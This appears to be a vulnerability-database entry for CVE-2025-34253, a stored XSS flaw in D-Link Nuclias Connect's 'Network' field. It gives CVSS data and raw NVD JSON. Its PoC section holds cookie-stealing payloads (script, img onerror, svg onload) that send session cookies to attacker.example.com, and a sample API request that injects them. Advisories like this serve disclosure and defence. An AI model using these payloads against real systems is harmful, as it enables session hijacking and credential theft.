Security Vulnerability Report
中文
CVE-2025-34253 CVSS 5.4 MEDIUM

CVE-2025-34253

Published: 2025-10-16 19:15:33
Last Modified: 2025-10-30 16:11:41

Description

D-Link Nuclias Connect firmware versions <= 1.3.1.4 contain a stored cross-site scripting (XSS) vulnerability due to improper sanitization of the 'Network' field when editing the configuration, creating a profile, and adding a network. An authenticated attacker can inject arbitrary JavaScript to be executed in the context of other users viewing the profile entry. NOTE: D-Link states that a fix is under development.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:dlink:nuclias_connect:*:*:*:*:*:*:*:* - VULNERABLE
D-Link Nuclias Connect 固件 <= 1.3.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-34253 - D-Link Nuclias Connect Stored XSS PoC --> <!-- Vulnerability: Improper sanitization of 'Network' field --> <!-- Affected: D-Link Nuclias Connect firmware <= 1.3.1.4 --> <!-- Step 1: Authenticate to the Nuclias Connect web management interface --> <!-- POST /login (with valid low-privilege credentials) --> <!-- Step 2: Inject malicious payload into the 'Network' field --> <!-- This can be done in three vulnerable endpoints: --> <!-- - Edit network configuration --> <!-- - Create a new profile --> <!-- - Add a new network --> <!-- Example malicious payload for the 'Network' field: --> <script>fetch('https://attacker.example.com/steal?c='+document.cookie+'&u='+document.location)</script> <!-- Alternative payloads: --> <img src=x onerror="fetch('https://attacker.example.com/log?d='+btoa(document.cookie))"> <svg/onload="var x=new XMLHttpRequest();x.open('GET','https://attacker.example.com/?c='+document.cookie,true);x.send()"> <!-- HTTP Request Example (using curl) for creating a profile with XSS payload: --> /* POST /api/v1/profiles HTTP/1.1 Host: <target-nuclias-connect-host> Content-Type: application/json Cookie: session=<authenticated-session-cookie> { "profile_name": "TestProfile", "network": "<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>", "description": "Test" } */ <!-- Step 3: When any user (including admin) views the profile entry, --> <!-- the injected JavaScript executes in their browser context, --> <!-- allowing session hijacking, credential theft, or further attacks. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34253", "sourceIdentifier": "[email protected]", "published": "2025-10-16T19:15:32.620", "lastModified": "2025-10-30T16:11:40.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link Nuclias Connect firmware versions <= 1.3.1.4 contain a stored cross-site scripting (XSS) vulnerability due to improper sanitization of the 'Network' field when editing the configuration, creating a profile, and adding a network. An authenticated attacker can inject arbitrary JavaScript to be executed in the context of other users viewing the profile entry. NOTE: D-Link states that a fix is under development."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dlink:nuclias_connect:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.3.1.4", "matchCriteriaId": "1DDE121F-E175-450D-A078-A7BF6F643415"}]}]}], "references": [{"url": "https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10472", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.dlink.com/en/for-business/nuclias/nuclias-connect", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/dlink-nuclias-connect-stored-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}